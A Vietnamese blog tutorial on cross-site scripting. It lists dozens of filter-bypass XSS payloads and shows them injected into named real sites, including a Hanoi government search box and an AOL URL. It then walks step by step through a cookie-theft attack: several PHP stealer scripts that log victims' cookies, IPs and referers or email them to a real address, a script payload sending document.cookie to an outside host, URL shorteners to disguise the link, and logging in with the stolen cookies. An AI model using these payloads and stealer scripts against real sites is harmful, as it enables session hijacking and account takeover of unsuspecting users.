Thứ Tư, 13 tháng 3, 2013
[Bài 3 - XSS] Kỹ thuật Bypass và phương pháp tấn công XSS
7. Kỹ Thuật Bypass
1 số site dính XSS không thể tấn công bằng những đoạn mã đơn giản, giải pháp nghĩ đến đó là phải bypass bộ lọc. Có một số dạng bypass đoạn mã script như sau:
"><script>alert("Check By Soleil")</script>
"><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 8 3, 111, 108, 101, 105, 108)) </script>
'><script>alert("Check By Soleil ")</script>
'><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
<ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
<ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
"><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
"><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108)) </ScRIPt>
'><ScRIPt>aLeRT("Check By Soleil ")</ScRIPt>
'><ScRIPt<aLeRT(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</ScRIPt>
</script><script>alert("Check By Soleil ")</script>
</script><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108) )</script>
"/><script>alert("Check By Soleil ")</script>
"/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
'/><script>alert("Check By Soleil ")</script>
'/><script>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</script>
</SCRIPT>"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>"><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
</SCRIPT>">"><SCRIPT>alert("Check By Soleil ")</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))</SCRIPT>
</SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67,10 4,101,99,107,32,66,121,32,83,111,108,101,105,108,4 5,86,72,66,32,89,104,58,100,117,99,100,117,110,103 ,46,48,56,99,108,99 ))</SCRIPT>
";alert("Check By Soleil ");"
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));"
';alert("Check By Soleil ");'
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108));'
";alert("Check By Soleil ")
";alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
';alert("Check By Soleil ")
';alert(String.fromCharCode(67, 104, 101, 99, 107, 32, 66, 121, 32, 83, 111, 108, 101, 105, 108))
Ví dụ:
- Attacker có thể chèn vào thanh tìm kiếm site http://www.hanoi.gov.vn đoạn mã script đã bypass sau:
<SCRIPT>alert(String.fromCharCode(67,104,101,99,10
7,32,66,121,32,83,111,108,101,105,108,45,86,72,66,
32,89,104,58,100,117,99,100,117,110,103,46,48,56,9 9,108,99
))</SCRIPT>
Từ đó xác định site này đã chính lỗ hổng XSS và sẽ tìm cách để khai thác, chiếm quyền điều khiển đối với site này.
- http://m.aol.com/yp/search?query=Bars"><script>alert(/Check By Mr.Soleil VHB_Group/)</script>
8. Quá trình các bước thực hiện tấn công bằng XSS
Bước 1: Tạo file Stealer.php để đánh cắp cookies
Nội dung của file Stealer.php như sau:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("logs.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>
- $cookie = $HTTP_GET_VARS["cookie"]; // đánh cắp cookie từ địa chỉ hiện tại url(stealer.php?cookie=x) và lưu trữ cookie trong biến $cookie
- $steal = fopen("cookiefile.txt", "a"); // Mở cookiefile để đính kèm các cookie được đánh cắp
- fwrite($steal, $cookie ."\\n"); // Lưu lại những cookie được đánh cắp bên trong file
- fclose($steal); // Đóng lại cookiefile
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("logs.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>
- $cookie = $HTTP_GET_VARS["cookie"]; // đánh cắp cookie từ địa chỉ hiện tại url(stealer.php?cookie=x) và lưu trữ cookie trong biến $cookie
- $steal = fopen("cookiefile.txt", "a"); // Mở cookiefile để đính kèm các cookie được đánh cắp
- fwrite($steal, $cookie ."\\n"); // Lưu lại những cookie được đánh cắp bên trong file
- fclose($steal); // Đóng lại cookiefile
Bước 2: Up các file lên host
UP lên host 2 file Stealer.php và logs.txt. Trong đó file Stealer.php có nội dung như trên và file logs.txt là file rỗng để lưu trữ toàn bộ thông tin của victim được gửi về thông qua mệnh lệnh được đưa ra từ file Stealer.php.
Lưu ý, phải chmod file log.txt về 777.
Ngoài ra có thể sử dụng các đoạn mã sau có thêm nhiều nhiệm vụ hơn cho file stealer.php
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
<?php
$cookie = $HTTP_GET_VARS["cookie"];
mail("ducdung.08clc@gmail.com", "Stolen Cookies", $cookie);
?>
// Đoạn mã này có tác dụng gửi cookies về email của attacker
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
header ("Location: <ENTER WEBSITE HERE>");
?>
<?php
$cookie = $_GET['c'];
$ip = getenv ('REMOTE_ADDR');
$date=date("j F, Y, g:i a");;
$referer=getenv ('HTTP_REFERER');
$fp = fopen('cookies.html', 'a');
fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br>');
fclose($fp);
?>
<?php
$cookie = $HTTP_GET_VARS["cookie"];
mail("ducdung.08clc@gmail.com", "Stolen Cookies", $cookie);
?>
// Đoạn mã này có tác dụng gửi cookies về email của attacker
- Giả sử soleil up 2 file trên lên host của site http://www.vhbgroup.net , thì đoạn mã script ăn cắp cookies có dạng như sau:
<script>location.href = 'http://www.vhbgroup.net/Stealer.php?cookie='+document.cookie;</script>
http://www.VulnerableSite.com/index.php?search=<script>location.href='http://www.vhbgroup.net/Stealer.php?cookie='+document.cookie;</script>
<script>location.href='http://www.vhbgroup.net/Stealer.php?cookie='+document.cookie;</script>
http://tiny.cc/
http://www.shorturl.com/
http://tinyurl.com/
http://is.gd/
http://ow.ly/url/shorten-url
http://goo.gl/
http://mcaf.ee/
http://www.doiop.com/
https://addons.mozilla.org/vi/firefo...copy-shorturl/
Sau khi đã đánh cắp đươc thông tin cookies của victim, có thể sử dụng tiên ích add-ons cookies manager hoặc live http để login.
Chuyên Mục:
Hacking and Security,
TUTORIALS,
XSS
Đăng ký:
Đăng Nhận xét (Atom)
Không có nhận xét nào: